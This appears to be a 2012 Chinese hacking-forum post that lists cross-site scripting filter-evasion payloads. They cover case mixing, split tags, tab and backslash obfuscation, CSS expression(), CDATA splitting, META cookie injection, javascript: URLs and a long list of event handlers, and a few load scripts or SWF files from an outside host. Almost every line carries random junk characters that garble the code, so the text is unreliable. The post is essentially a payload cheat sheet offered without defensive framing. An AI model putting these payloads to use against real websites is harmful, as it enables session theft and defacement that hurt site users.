找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2329|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
  A7 ]6 F0 H* Y0 s8 L6 [# F
) m/ x( T9 w" L" n! ~ . `7 v$ b, D( @5 w3 p) D
8 E: k" u6 k1 [% I; [! Q& f
    <sCript>alert(‘d’)</scRipT>$ T7 h) i" f4 D; y
' L6 v/ {* b. L( L( t
2. 利用多加一些其它字符来规避Regular Expression的检查+ x  ~5 ^( }, G" ]& D

: x+ N) ]* C% \& M  g: ^1 l    <<script>alert(‘c’)//<</script>
; s; ]' N8 {: M$ v* D. B/ E4 i2 ?% X
3 s, U* c- O: {6 V    <SCRIPT a=">" SRC="t.js"></SCRIPT>
2 r2 k, b" S9 a& P4 M+ G4 K0 o  |9 |# c6 D, J6 u; j
    <SCRIPT =">" SRC="t.js"></SCRIPT>. ?, n: T/ }, H# v. S1 a, x

6 ?7 B+ M. b* h    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>6 G3 D" a( t4 s8 G3 }1 l! g

- G6 @) \- V! w  z) {    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
" z2 e; ]  {& O( P! m8 a& j- R6 @9 N1 j3 W7 c( U
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
3 C9 x6 r2 R1 m4 E/ e1 p) e2 m" V; |+ H& M6 M
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
) H4 @2 F6 \) J" P4 h( }8 ]$ g9 v- ?/ V  A9 \% Q1 o( `5 N( i
3. 以其它扩展名取代.js
$ s; K# B4 Y) {( Z! F) F
4 t" C- t4 H2 x; R& W    <script src="bad.jpg"></script>1 M% T2 j# p, M& S% \; H

2 _2 S# o5 Y3 ?, z' ~4. 将Javascript写在CSS档里: v& w4 r9 z- c9 F
& Q) ~3 v; H- g) k6 `
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
9 S; H' J/ z8 @0 o1 s! X6 K4 T
       example:
% N: s" |2 ?% }2 S9 l* b8 q! I+ @( s9 X. r  Y/ |4 L. W4 V
          body {- w3 W: [; u. m" w- P2 |1 ^
; Z; s" X! S( i/ ^/ ?
               background-image: url(‘javascript:alert("XSS");’)% P1 Z0 |; e! V, C

. W- J' i4 Q% e: N5 C* K          }9 {# w0 F) Q; N' F- J$ _

) Y: L$ u; j, ]' b, |* V2 E( d4 t5. 在script的tag里加入一些其它字符
  \. o8 J$ k0 v6 }, C6 h. X3 O, V* ^4 G# a) y
    <SCRIPT/SRC="t.js"></SCRIPT>
' u$ E: ~3 ~9 l7 V7 v$ |. P
: \6 D# i/ ^/ v$ c    <SCRIPT/anyword SRC="t.js"></SCRIPT>; I2 x% D) s$ ]8 ^; i" {

% A; h3 D7 L+ A& g0 I6. 使用tab或是new line来规避
) I. a# Y% a1 X9 i2 K+ b* p+ n
3 A9 a5 M+ I5 Q6 G# B, |/ i7 T    <img src="jav ascr ipt:alert(‘XSS3′)">
) s2 Q4 D/ _7 q2 \  _" |! u% B) ?) t* }6 a
    <img src="jav ascr ipt:alert(‘XSS3′)">( g1 H; L  r* t: M. `  A3 Q: j

5 M- \. }' @  H7 `; _; A  c" @$ h    <IMG SRC="jav ascript:alert(‘XSS’);">
8 q4 Q% r+ `0 W4 y
4 t$ v! S+ A# a) O6 u         -> tag% }" ?0 ~# l/ t9 B7 f
) I- @5 j6 R, b3 h
         -> new line6 {/ l* _+ s2 j4 y5 S5 y

! P2 z" k9 i! |( e+ X5 H8 a4 X7. 使用"\"来规避6 d! G; g% N  ]4 U/ H9 H- D2 _

; X5 g/ \  m% o; O* R    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
, ^7 d' ~. H- y  [2 _, ~; w% V, w8 E: V
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>& r0 _! }/ V" N

' \3 f* G. f) L, ?  a  y    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
0 J) G+ P  t: ~. v# Q' O
# f. j1 U4 Q. q5 T# p* J4 X    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 V3 a' V2 m$ s8 [! L2 ~

7 a, S% P! v$ V, k: q  F    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
4 T4 X6 d: _6 h4 ]+ ^5 N/ {" E" Z# M# P
8. 使用Hex encode来规避(也可能会把";"拿掉)
" }8 D* d/ Z6 K6 ]8 m( a, n4 b6 V, o. Q
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
7 K: a' u- u. U8 y  d2 y
5 v; T+ [3 ?+ a6 ~* F        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: b9 l) C6 u/ K4 \3 _: o2 k1 `2 S
% @- \, K  e) Z4 U0 n2 ?    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">0 u% Y, n" H0 E" }0 Q+ s
7 A4 \( }3 ~+ E/ j) Z$ i9 U
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
7 v$ P3 H4 p" b7 ?# j; w
: ]0 ?* x8 `# P8 E9 A9. script in HTML tag
* G% H$ ]6 d5 P$ v# r3 n+ g7 b' b" ]$ F  S' C* Y; n- t; }$ L
    <body onload=」alert(‘onload’)」>
# Q7 A& J8 @, Q/ Z1 E1 V+ M' u' a: A0 y% Y
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload* r& e4 M! P5 t, v3 Z
. ~  Z( U3 j9 ~" C/ i/ E
10. 在swf里含有xss的code
- j1 @6 {* L4 ?7 L3 u" u/ _, m6 l+ C! `  B) d4 f
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>6 [, Z. w0 K) Q/ W" S
8 V2 g4 l$ g' q
11. 利用CDATA将xss的code拆开,再组合起来。; A3 f, q6 i6 q5 c) B

4 G! u0 b: ~+ [; W4 V    <XML ID=I><X><C>6 N/ M4 N1 v/ |# O' }' Y

, B6 c# [: K3 |8 |: a6 I    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>' o1 B& u. ]" M3 ]$ U' s% f5 l

* J5 S6 |/ `' J+ ]/ N    </C></X>
& e* v" C+ a4 N) x. A8 w
, S7 ?, r8 a; M    </xml>) y* l& j( E) C/ L. x
2 v0 a" r# c( h$ }5 n0 m2 Y0 P: H$ I' Q
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>, \" Y- F4 u- P3 ~+ X/ ^

! q$ R: V' z* I$ R6 x& E  P% D    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
: ?6 N$ }/ B6 d- c2 j! g/ |. ]9 F- S7 W
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
& q* Z6 L0 w. {, e, O! Z( e( y2 j8 [) {) f* O
12. 利用HTML+TIME。1 r- G7 ?4 e3 m# M; l% b
, N! J4 X4 K) }
    <HTML><BODY>2 v. u- C+ `' m' b1 A; E
" c4 b3 I) P+ R4 E
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">( l$ {8 n- E* k! R* v( i& a4 U2 O- p4 ?
% q, E+ C$ M9 a: l+ n6 a2 a
    <?import namespace="t" implementation="#default#time2">+ a# p4 }6 G; [' M

, s/ H1 ]5 B  ~; h    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">& b. Y, s  e6 I

/ J& {% m3 L% I0 v    </BODY></HTML>
% F) A3 y% ^) A9 }8 ]6 P5 @* H- w  }& q/ X# L
13. 透过META写入Cookie。
1 H& _" N+ z7 Y$ n6 X' y/ N* p$ f1 F  _" j  ?. J' o% W
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
  [  I$ J2 O$ O, |/ O% H$ a$ F9 Z& L1 c9 S
14. javascript in src , href , url
, T9 I8 p8 k* V- ^; y% X& Y/ v. t2 {5 q4 f0 |5 r( Y
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
) F! l/ k9 J4 D; \. t9 b2 {& q, p' E# q
    <img src="javascript:alert(‘XSS3′)">! C) d& M3 f6 T/ W3 K

+ c- j( n; j1 i7 r. {: m- D<IMG DYNSRC="javascript:alert(‘XSS20′)">
; a% v/ a. w/ S/ C
: \1 ]+ h( V2 j1 B! T    <IMG LOWSRC="javascript:alert(‘XSS21′)">- [, Y, \1 v% e+ c7 }' B3 q0 k' L
2 ^0 h( g6 I. S) t
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">) j+ K; e. I. M, ]5 X2 K

5 B, t* W; C% `# W- g    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
; y; w& r% N4 @8 ^5 R  w% E
: c7 ~8 ?) D8 w4 E" k    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">3 H5 E* n5 Q7 T1 @2 x9 W. _! C
/ c+ o0 p' Y) v6 T$ G
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
7 `3 |+ ?  f) Q  C3 C0 S, v
4 o! b& E' D- K: o7 N" J9 w5 k) K* _    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
! V9 J$ Q8 H3 P' Y# e/ X. G! @" j) w# n
    </STYLE><A CLASS=XSS></A>4 b/ B+ T6 {- r& R  j0 B4 ?. V
- B6 s8 u; n' u' {5 @% M1 [
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>4 l8 h3 v6 j! Q

+ }/ a  }0 w. J8 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表